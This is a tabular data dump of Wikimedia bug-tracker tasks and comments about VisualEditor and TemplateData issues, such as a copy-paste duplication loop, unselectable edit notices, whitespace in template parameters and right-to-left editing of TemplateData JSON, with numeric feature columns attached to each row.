240807,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","I can reproduce it.  With a lot of the pawn bugs fixed now, maybe it has disappeared.",,,1374461315,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9047619047619048,"I can reproduce it.  With a lot of the pawn bugs fixed now, maybe it has disappeared."
240803,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","Oh, meant to add that the loop may well have been infinite but I tried to force the save (with ultimate success).",,,1372612642,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.9230769230769231,"Oh, meant to add that the loop may well have been infinite but I tried to force the save (with ultimate success)."
240800,"VisualEditor: Cut-and-paste swap of reference list creates massive content duplication, pawns (♙) and snowmen (☃) galore","Given the severity, I'll try to recreate what I was doing but it was basically an attempt to cut the existing External Links section and paste it after the References. As I had made other changes, I can't rule out the idea that I could have stopped editing at the first sight of white pawns; certainly, I saw a couple just before the main ""whumpfh"" of the loop kicking in, but the loop might have already started by then.

Browser: Chrome latest (27.0.1453.116) running on Windows 7. Plenty of RAM (before the loop, anyway :P).",,,1372612568,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-xnsrcsuce62r2yfruwso,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,3.5,0.0,6.5,10.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,9.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,10.5,0.5,2.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.5,10.0,6.5,0.0,2.0,0.0,4.5,0.0,0.5,1.5,0.0,2.5,0.0,1.0,0.0,3.7728372655777376,0.7737447065940715,"Given the severity, I'll try to recreate what I was doing but it was basically an attempt to cut the existing External Links section and paste it after the References. As I had made other changes, I can't rule out the idea that I could have stopped editing at the first sight of white pawns; certainly, I saw a couple just before the main ""whumpfh"" of the loop kicking in, but the loop might have already started by then.

Browser: Chrome latest (27.0.1453.116) running on Windows 7. Plenty of RAM (before the loop, anyway :P)."
52442,VisualEditor: One should be able to select (and copy) the text of an edit notice,"When a notice is shown (on beta), it's not possible for the user to mark the text and copy.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372555020,1383280412.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-op3amukih656hqtejh6j,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.7619047619047619,"When a notice is shown (on beta), it's not possible for the user to mark the text and copy.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239625,VisualEditor: One should be able to select (and copy) the text of an edit notice,This was fixed as part of the toolbar fixes last week.,,,1383280412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-op3amukih656hqtejh6j,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,This was fixed as part of the toolbar fixes last week.
239619,VisualEditor: One should be able to select (and copy) the text of an edit notice,"Text selection of the toolbar and descendants of it was intentionally disabled for design and user experience reasons.

I can understand that it may be useful to re-enable it for the edit notice part of the toolbar though.",,,1372558387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-op3amukih656hqtejh6j,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.325581395348837,0.7674418604651163,"Text selection of the toolbar and descendants of it was intentionally disabled for design and user experience reasons.

I can understand that it may be useful to re-enable it for the edit notice part of the toolbar though."
52439,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"When adding/modifying a template, you can append a space to the parameter, and even if you have that parameter already used, you can add one more. As well you can add a (multiple) empty "" "" parameter.

Example template I made ended up as:

{{test|name = ""







|logo = '
""| = |  = |logo = }}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61049",Medium,50.0,1372554420,1414004857.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-nopdefkge3ym2od7ufrd,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,4.5,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.0,1.5,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,1.0,0.5,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,3.0,1.0,0.0,4.0,0.0,2.5,0.0,0.5,1.5,0.0,1.0,0.5,0.0,0.0,3.173076923076923,0.5865384615384616,"When adding/modifying a template, you can append a space to the parameter, and even if you have that parameter already used, you can add one more. As well you can add a (multiple) empty "" "" parameter.

Example template I made ended up as:

{{test|name = ""







|logo = '
""| = |  = |logo = }}

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
239402,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"This appears to be fixed now. You can't create both ""foo"" and ""foo "" any more.",,,1414004857,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nopdefkge3ym2od7ufrd,task_subcomment,,True,c1,3,False,,,68,,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.8636363636363638,0.7727272727272727,"This appears to be fixed now. You can't create both ""foo"" and ""foo "" any more."
239396,VisualEditor: Transclusion dialog should truncate spaces from parameter input,"Clarification: the transclusion dialog allows the user to create both ""foo"" and ""foo "" as separate parameters, but it shouldn't. It also allows the user to create the empty parameter ("" "") multiple times.",,,1373397301,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nopdefkge3ym2od7ufrd,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8863636363636362,0.6818181818181818,"Clarification: the transclusion dialog allows the user to create both ""foo"" and ""foo "" as separate parameters, but it shouldn't. It also allows the user to create the empty parameter ("" "") multiple times."
52436,TemplateData: Creating TemplateData blocks should be direction neutral,"This is a bug/design issuse with TemplateData.

To use TemplateData in RTL wikis, the syntax mix English and Arabic/Hebrew (etc).

Editing mixed languages with different direction is hard and should be avoided as much as possible because of BiDi issues. (in some cases, such as Lua modules it isn't possible to completely avoid it).

Example :
<templatedata>
{
        ""description"": ""תבנית כלשהי."",
        ""params"": {
                ""שם"": {
                        ""label"": ""שם"",
                        ""type"": ""string/wiki-user-name"",
                        ""required"": true,
                        ""description"": ""שם של משתמש"",
                        ""aliases"": [""1""]
                }
        },
        ""sets"": [
                {
                        ""label"": ""Date"",
                        ""params"": [""שנה"", ""חודש"", ""יום""]
                }
        ]
}
</templatedata>
It is very hard to edit such syntax as above. (<templatedata> is OK since it is in different line - but the JSON isn't [if we don't want to define special indentation convention due to direction issues])
The syntax for the JSON keywords (description, params, label etc) should be either translatable or should have some neutral direction alternative to defines it (JSON by itself is directionless - [{}:,] doesn't have direction information).

See also:
* bug 50169 - implementing this feature may reduce the severity of this bug (this solution will force template editors in RTL wiki to use visual editor at least for templatedata definitions).
* bug 50370 - translation of interface items

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50370",Medium,50.0,1372540320,1415310061.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-ttobixbmawcbongmnatf,task_description,resolved,True,c1,2,False,False,False,-1,,0.75,0.0,0.5,0.25,1.0,5.0,1.75,0.25,0.0,0.25,2.0,1.0,0.0,0.0,0.0,0.25,0.25,2.75,6.75,0.0,1.25,0.75,0.25,0.0,0.0,0.25,0.0,0.25,0.25,0.25,0.0,2.75,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,4.25,0.0,0.75,0.0,0.0,0.0,12.75,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.5,0.25,0.0,0.0,0.0,0.0,1.5,2.5,6.5,0.75,1.25,3.0,0.0,0.0,0.0,0.0,3.5,0.25,0.75,0.0,1.75,6.75,4.0,0.0,10.0,0.0,1.75,0.0,0.0,0.25,0.25,0.5,0.0,0.25,4.0,3.9360582306830905,0.5930291153415453,"This is a bug/design issuse with TemplateData.

To use TemplateData in RTL wikis, the syntax mix English and Arabic/Hebrew (etc).

Editing mixed languages with different direction is hard and should be avoided as much as possible because of BiDi issues. (in some cases, such as Lua modules it isn't possible to completely avoid it).

Example :
<templatedata>
{
        ""description"": ""תבנית כלשהי."",
        ""params"": {
                ""שם"": {
                        ""label"": ""שם"",
                        ""type"": ""string/wiki-user-name"",
                        ""required"": true,
                        ""description"": ""שם של משתמש"",
                        ""aliases"": [""1""]
                }
        },
        ""sets"": [
                {
                        ""label"": ""Date"",
                        ""params"": [""שנה"", ""חודש"", ""יום""]
                }
        ]
}
</templatedata>
It is very hard to edit such syntax as above. (<templatedata> is OK since it is in different line - but the JSON isn't [if we don't want to define special indentation convention due to direction issues])
The syntax for the JSON keywords (description, params, label etc) should be either translatable or should have some neutral direction alternative to defines it (JSON by itself is directionless - [{}:,] doesn't have direction information).

See also:
* bug 50169 - implementing this feature may reduce the severity of this bug (this solution will force template editors in RTL wiki to use visual editor at least for templatedata definitions).
* bug 50370 - translation of interface items

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
239277,TemplateData: Creating TemplateData blocks should be direction neutral,"This is now effectively ""solved"" through general availability of the GUI to edit TemplateData.",,,1415310061,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,0.9411764705882353,"This is now effectively ""solved"" through general availability of the GUI to edit TemplateData."
239274,TemplateData: Creating TemplateData blocks should be direction neutral,Would be nice to deploy it the template data editor to Hebrew Wikipedia  - it is more important then in other wikis because of this bug,,,1390051584,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,19.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.074074074074074,0.9259259259259259,Would be nice to deploy it the template data editor to Hebrew Wikipedia  - it is more important then in other wikis because of this bug
239271,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #15)
> How about marking it as a duplicate of bug 51734?

I don't think it's really a duplicate, though; the problem remains (so if you want to edit the source directly you still have to deal with it).

(In reply to comment #16)
> Thanks Moriel for implementing a nice workaround to this bug.
> I think this bug can be disposed after template editor will be deployed to
> all wikis.

That seems like a reasonable resolution. Will do.",,,1389930776,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,3.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,13.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,7.0,14.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2535211267605635,0.6338028169014085,"(In reply to comment #15)
QUOTE

I don't think it's really a duplicate, though; the problem remains (so if you want to edit the source directly you still have to deal with it).

(In reply to comment #16)
QUOTE
QUOTE
QUOTE

That seems like a reasonable resolution. Will do."
239264,TemplateData: Creating TemplateData blocks should be direction neutral,"Thanks Moriel for implementing a nice workaround to this bug.
I think this bug can be disposed after template editor will be deployed to all wikis.",,,1389887269,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.241379310344827,0.8275862068965517,"Thanks Moriel for implementing a nice workaround to this bug.
I think this bug can be disposed after template editor will be deployed to all wikis."
239257,TemplateData: Creating TemplateData blocks should be direction neutral,How about marking it as a duplicate of bug 51734?,,,1389874215,,PHID-USER-sxpswmchfwxkuo2wszeo,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,How about marking it as a duplicate of bug 51734?
239251,TemplateData: Creating TemplateData blocks should be direction neutral,"So… I'm not sure how to dispose of this bug:

* FIXED – except it's not fixed, it's just ""worked around"" by bug 51734
* INVALID – except it's still a valid concern
* WORKSFORME – but only because I'm willing to put up with this (and I don't do RTL much)
* WONTFIX – closest to the truth, but feels a little blunt

Perhaps we should wait for the template editor to be deployed for all languages, then close this as WONTFIX?",,,1389807290,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,True,,,28,,2.0,0.0,0.0,1.0,2.0,4.0,0.0,0.5,0.0,0.0,1.0,2.5,0.0,0.5,0.0,3.0,0.0,7.5,10.5,0.0,2.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,1.0,8.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.5,10.5,3.0,1.0,1.0,0.0,4.5,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,3.297532656023222,0.7910014513788098,"So… I'm not sure how to dispose of this bug:

* FIXED – except it's not fixed, it's just ""worked around"" by bug 51734
* INVALID – except it's still a valid concern
* WORKSFORME – but only because I'm willing to put up with this (and I don't do RTL much)
* WONTFIX – closest to the truth, but feels a little blunt

Perhaps we should wait for the template editor to be deployed for all languages, then close this as WONTFIX?"
239245,TemplateData: Creating TemplateData blocks should be direction neutral,"Change 85400 merged by jenkins-bot:
Implement edit interface for TemplateData documentation

https://gerrit.wikimedia.org/r/85400",,,1389753678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.529411764705882,1.0,"Change 85400 merged by jenkins-bot:
Implement edit interface for TemplateData documentation

GERRIT_URL"
239241,TemplateData: Creating TemplateData blocks should be direction neutral,"Change 85400 had a related patch set uploaded by Mooeypoo:
TemplateData Generator GUI

https://gerrit.wikimedia.org/r/85400",,,1379736870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,35.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0588235294117645,1.0,"Change 85400 had a related patch set uploaded by Mooeypoo:
TemplateData Generator GUI

GERRIT_URL"
239236,TemplateData: Creating TemplateData blocks should be direction neutral,"(In reply to comment #10)
> Michal tool seems interesting but it currently lacks the ability to edit an
> existing templatedata. Michal, is that something you're planning to add?

Absolutely! Working on that now. At first you'll have to copy JSON data to the tool, but I'll try to add auto copying from a given template.",,,1375130859,,PHID-USER-x7g37sf6tkkrewspco2q,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,2.0,7.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.239130434782609,0.8478260869565217,"(In reply to comment #10)
QUOTE
QUOTE

Absolutely! Working on that now. At first you'll have to copy JSON data to the tool, but I'll try to add auto copying from a given template."
239230,TemplateData: Creating TemplateData blocks should be direction neutral,"Ltrlg's script can edit an existing templatedata. I don't know if it works correctly with rtl languages, but if it doesn't you could always ask Ltrlg to fix it.

Michal tool seems interesting but it currently lacks the ability to edit an existing templatedata. Michal, is that something you're planning to add?",,,1375122927,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,0.0,2.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,8.0,11.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,2.0,6.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,11.0,11.0,6.0,2.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.126984126984127,0.7142857142857143,"Ltrlg's script can edit an existing templatedata. I don't know if it works correctly with rtl languages, but if it doesn't you could always ask Ltrlg to fix it.

Michal tool seems interesting but it currently lacks the ability to edit an existing templatedata. Michal, is that something you're planning to add?"
239224,TemplateData: Creating TemplateData blocks should be direction neutral,"I forgot to attach the link... here it is:

https://github.com/mooeypoo/MediaWiki-TemplateDataGenerator

It's still being tested, and there are a couple of changes we should still implement, but it's getting there. I hope it will be ready for wider test in the next few days.",,,1375122853,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ttobixbmawcbongmnatf,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,8.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,8.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.3773584905660377,0.8113207547169812,"I forgot to attach the link... here it is:

URL

It's still being tested, and there are a couple of changes we should still implement, but it's getting there. I hope it will be ready for wider test in the next few days."
